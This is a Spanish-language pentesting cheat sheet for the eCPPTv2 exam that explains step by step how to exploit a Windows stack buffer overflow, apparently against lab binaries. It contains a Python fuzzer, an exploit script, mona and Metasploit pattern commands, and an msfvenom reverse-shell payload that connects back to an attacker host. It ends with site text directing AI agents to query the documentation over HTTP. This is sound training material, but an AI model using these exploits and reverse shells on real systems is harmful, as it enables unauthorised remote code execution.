# Buffer Overflow eCPPTv2

Os dejo por aquí el paso a paso (cheat sheet) para explotar un Buffer Overflow. Este artículo viene conjunto el siguiente vídeo de youtube:

## Explicación Buffer Overflow

Aquí dejo un artículo de un colega que le mola mucho todo el tema de Reversing y tiene muy bien explicado las bases, historia, tipos de buffer etc, espero que os sirva.

{% embed url="<https://0x2ezy.gitbook.io/0x2ezys-blog/others/buffer-overflow/introduccion-a-buffer-overflow>" %}

Antes de realizar este proceso deberíamos coger el .exe que lo habremos conseguido de X manera y lo llevaremos a una máquina local Windows 10 la cual debe tener instalado los siguientes programas:

* [Immunity Debugger](https://debugger.immunityinc.com/ID_register.py) --> Os saldrá un registro, no hace falta que pongáis ningún dato real, solamente poned falsos y se os descargará el launcher
* Instalar [mona.py](https://github.com/corelan/mona) para el debugger. --> Descargad el mona.py y lo ponéis en la carpeta `C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands`

Antes de hacer nada ejecutar este comando -->&#x20;

```
!mona config -set workingfolder c:\mona\%p # declarar en que carpeta trabaja mona
```

## Fuzzer

Primero vamos a necesitar el primer script de python3 que funciona cómo fuzzer, su función es probar la aplicación para ver en que bytes peta la aplicación.

### Fuzzer.py

```python
#!/usr/bin/env python3
  
import socket, time, sys
  
ip = "192.168.146.142"  
port = 9999
timeout = 1
prefix = ""
  
string = prefix + "A" * 100
  
while True:
   try:
     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
       s.settimeout(timeout)
       s.connect((ip, port))
       s.recv(1024)
       print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
       s.send(bytes(string, "latin-1"))
       s.recv(1024)
   except:
     print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
     sys.exit(0)
   string += 100 * "A"
   time.sleep(1)
```

### Ejemplo resultado

<figure><img src="/files/7AVbImtjFNNyMMtj9PcU" alt=""><figcaption><p>Ejemplo de un fuzzing</p></figcaption></figure>

Os tendría que salir lo siguiente en el debugger

<figure><img src="/files/6vaLUF1UXpJRptNuscLC" alt=""><figcaption></figcaption></figure>

El resultado del byte que peta, le tenemos que sumar +400 bytes para ir con margen, ya que si le ponemos justo los bytes que peta puede no funcionar el proceso.

## Crash Replication & Controlling EIP

Ahora queremos controlar el EIP para poder darle las directrices necesarias para romper la aplicación y enviar un shellcode malicioso.

### Exploit.py

Para ello necesitaremos otro script de python3

```python
#!/usr/bin/env python3
import socket

ip = "MACHINE_IP"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

```

En nuestra terminal vamos a utilizar un módulo de metasploit llamado `pattern_create.rb` para crear una cadena más larga que la que peto el servidor (600+400 = 1000)

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
```

Cogemos el resultado del comando de arriba y lo ponemos en la variable `payload`.

Ahora nos dirigimos al Immunity Debugger y ejecutamos el siguiente comando de mona

```
!mona findmsp -distance 600
```

Sino arriba a la derecha donde pone EIP tendremos el resultado

### Ejemplo

<figure><img src="/files/1vzsR0v275TCEF7l7h3B" alt=""><figcaption><p>EIP obtenido</p></figcaption></figure>

Ahora que sabemos el EIP vamos a controlarlo.

Para ello creamos un offset que es una herramienta de metasploit que estableciéndole el EIP nos da un número que es el que debemos añadir en el script de python, en la variable offset

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 35724134
```

El resultado es:

<figure><img src="/files/D6aznax0PuCVf8RtzFhG" alt=""><figcaption></figcaption></figure>

Este lo añadimos en el script (variable offset) y añadimos 4 B's en la variable retn.

<figure><img src="/files/Sxe1OSq5UclMoJpchKWm" alt=""><figcaption><p>Variables offset y retn</p></figcaption></figure>

Ahora si ejecutamos de nuevo el script, nos debería salir el EIP con un número cómo este --> 42424242.

<figure><img src="/files/uXNpVZQ654bw2wq7AWPh" alt=""><figcaption><p>EIP Controlado.</p></figcaption></figure>

## Bad chars

Ahora vamos a comprobar que no haya bad chars en la aplicación, para ello primero ejecutaremos el siguiente comando en el Immunity --> `!mona bytearray -b "\x00"` para que tenga un archivo con el que comparar el de la aplicación, y si hay algún bad char nos lo mostraría ya que en el generado todos están correctos.

Ahora tenemos que añadir los bad chars en el script de python, para ello cogedlos del siguiente [link](https://github.com/cytopia/badchars) y ponedlo en la variable payload:

<figure><img src="/files/KNRSUg3orifKjpmT50zs" alt=""><figcaption><p>Como veis no tiene el x00</p></figcaption></figure>

Ejecutamos el script y cogemos el resultado del ESP que debería aparecer arriba a la derecha

<figure><img src="/files/ReRI36KfmAntuKAPTodv" alt=""><figcaption></figcaption></figure>

Y ejecutamos el siguiente comando para compararlos

```
!mona compare -f C:\mona\brainpan\bytearray.bin -a <ESP Number>
```

Si aparece un badchars, solamente tenemos que quitarlo del script y del mona y volver a ejecutar.

### Ejemplo

<figure><img src="/files/68wkc5UaED2vGRwXmlgA" alt=""><figcaption></figcaption></figure>

Quitamos el x0a del script y de mona.

<figure><img src="/files/SkCVNAxel2kkpbuz4yFk" alt=""><figcaption></figcaption></figure>

En el Immunity modificamos el archivo bytearray y le quitamos el 0

```
!mona bytearray -b "\x00\x0a"
```

Una vez ya no haya bad chars debería no aparecer nada en la columna de badchars

<figure><img src="/files/nEQtoPxShQza2Tz9MxGl" alt=""><figcaption><p>No bad chars!!!</p></figcaption></figure>

## Pointer

Ahora tenemos que darle un punto de salto donde ejecutar, con este comando estaríamos buscando las instrucciones de "jmp esp" con direcciones que no contienen ningún carácter incorrecto.

```
!mona jmp -r esp -cpb "\x00"
```

Debería aparecer algo cómo esto

<figure><img src="/files/xGOqSnOseFgONO5ABVur" alt=""><figcaption><p>Ya tenemos un pointer, 311712F3</p></figcaption></figure>

Ahora cogemos el pointer, reiniciamos el Debugger y le damos a la flecha negra y ponemos el número de pointer

<figure><img src="/files/cADAbWTxAAgsaaQ5VLYb" alt=""><figcaption></figcaption></figure>

Lo ejecutamos y nos tendrá que salir arriba a la izquierda un número y a la derecha FFE4 JMP ESP

<figure><img src="/files/cWD122ZDKRtIUoOpZHQe" alt=""><figcaption></figcaption></figure>

Clicamos encima y le damos al F2

<figure><img src="/files/uq3WxY5dR4GGUk8dxuNQ" alt=""><figcaption></figcaption></figure>

Y le damos al Play de nuevo.

## Shellcode

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.146.128 LPORT=4444 EXITFUNC=thread -b "\x00" -f c
```

Cogemos el resultado y lo ponemos en la variable payload.

Y cambiamos las siguientes variables:

* retn= "\xf3\x12\x17\x32" --> Si os fijais es el número del jmp pero al revés y con x\\.
* padding = "\x90" \* 16

Dado que probablemente se utilizó un codificador para generar el payload, necesitará algo de espacio en la memoria para que el payload se descomprima. Puede hacer esto estableciendo la variable de relleno en una cadena de 16 o más bytes "Sin operación" (\x90):

<figure><img src="/files/Tzw9Sy0Z1Lx1RTUCdWeM" alt=""><figcaption></figcaption></figure>

Y lo ejecutamos.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/articulos/buffer-overflow-ecpptv2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
